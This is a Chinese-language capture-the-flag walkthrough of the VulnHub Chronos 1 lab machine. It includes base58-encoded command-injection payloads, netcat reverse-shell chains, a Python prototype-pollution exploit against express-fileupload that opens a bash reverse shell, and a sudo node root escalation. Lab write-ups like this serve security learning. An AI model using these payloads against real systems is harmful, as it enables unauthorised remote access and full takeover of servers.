靶机地址: https://www.vulnhub.com/entry/chronos-1,735/
打靶目标:取得 2 个 flag + root 权限
1、主机发现
直接开扫,得到靶机IP
2、端口扫描
扫完IP扫端口,发现靶机开放22,80,8000三个端口
3、服务扫描
端口出了之后直接用NMAP对三个端口进行服务扫描,发现22端口是SSH服务,80端口是在Ubuntu系统的Apache开放的HTTP服务,8000端口是基于Node.js的Express framework框架开放的HTTP服务
4、WEB侦查
既然是Web服务,直接打开网站找突破口
192.168.56.104:80
Ctrl+U查看源码发现有一段JavaScript代码
用工具简单整理一下发现有一个链接比较显眼
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
通过之前扫的端口和现在发现的链接猜测,chronos.local:8000就是靶机开放的8000端口,改一下hosts文件
ping一下检查配置文件是否生效
生效之后重新加载192.168.56.104:80发现页面的确发生了变化
用BurpSuite抓包看一下过程,发现有一个请求和上面JS代码发现的请求是一样的
感觉传参像是base64的编码,结果是base58???抓紧去补习了一下base加密的知识
5、命令注入(数据编解码)
base58解密之后发现那串传参好像是Linux的date命令,浅试一下发现还真是
把它加密回去试试网站里行不行,结果成功了
'+Today is %A, %B %d, %Y %H:%M:%S.' && ls
9bEW4cq4qengPvFGtzJXEAs1sGpKzYpYvUjwvUngwAmfrVsMwAERK9ox(base58加密后)
6、反弹SHELL
看一下目标靶机有没有nc,准备反弹shell。结果发现不止有nc,还有bash
&& ls /bin
39JyvVr3FjbwAV(加密后)
将kali端开启侦听,然后shell加密传入参数,发现好像并不行
&& nc 192.168.56.102 4444
GMKWwmxeCKrzqcoDwLeaRS6LtN9xuL3QAo(加密后)
但是发现终端可以正常建立连接,只能考虑加-e参数或者使用nc串联
因为前面发现靶机存在bash,所以先使用-e参数尝试连接靶机。结果还是不行
&& nc 192.168.56.102 4444 -e /bin/bash
6eK5JFNT7CahVhdM6iDKHY4Q4b79Axf4pNs1HqssBNbcqotvuZh9(加密后)
终端都侦听不到了,基本可以判断靶机是没有-e参数的nc版本
7、NC串联
最后只能试nc串联咯,kali端启动侦听,把要传入的用base58编码,用BurpSuite重发
&& nc 192.168.56.102 4444 | /bin/bash | nc 192.168.56.102 5555
3Gho48Ayo8ZTkKBJiuZV9GykBLVZ7LKgjBsytvKDkkKucwRiwAH1sXrwyq7vGDogSZRJcsaomVqXXihxZTnJQ(加密后)
发现4444端口输入命令,5555端口执行输出,已经成功的进入了
8、内部信息收集
查看passwd文件发现有一个imera用户,进入之后发现有一个user.txt文件,可能存放flag
结果发现只有imera可以访问,尝试使用常见的三种提权方式提权:
-
基于内核漏洞提权
-
SUID权限配置问题
-
sudo配置漏洞
可是这三种方法全都无效,只能再进行信息收集
网站根目录下有js文件,前面信息收集扫出的网站是用Node.js的框架
对JS进行代码审计发现并没有有用信息,只是能看到之前利用的命令注入漏洞是因为只判断没进行过滤导致的
继续收集信息发现,在/opt/chronos-v2/backend目录有一个server.js文件
9、JavaScript代码审计
server.js文件内容如下:
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
对它进行代码审计发现靶机有一个内部地址,并且端口是8080
Node.js有一个框架是express-fileupload,这个框架有一个漏洞,但是需要打开parseNested,上面的server.js文件显示已经打开,即此漏洞可以直接利用获得shell(参考链接:https://blog.p6.is/Real-World-JS-1/)
10、框架漏洞利用
kali端编写exp.py利用代码,并开启http服务
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.102/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
靶机进入/tmp目录,下载kali端的exp.py文件
kali端开启侦听4444端口,靶机运行exp.py,成功
查看相关信息发现是imera用户,在用户家目录发现第一个flag
获取第一个flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
o chronos pernaei file mou.(解码后)
11、本地提权
发现自己没有root权限,有点头大啊,不过通过尝试发现存在sudo配置漏洞
发现可以通过Java反弹shell获取root权限
(ALL) NOPASSWD: /usr/local/bin/node *
搜索相关Java反弹shell找到一段代码
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
kali端监听之后用imera用户执行上面的代码发现获得root权限
进入/root目录后发现root.txt文件,找到第二个flag
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
apopse siopi mazeuoume oneira.(解码后)
至此,2个flag+root权限全部完成,靶机已攻陷(开心呢!!!)
标签:发现,nc,端口,192.168,js,Chronos,靶机 From: https://www.cnblogs.com/HKalpa/p/16648579.html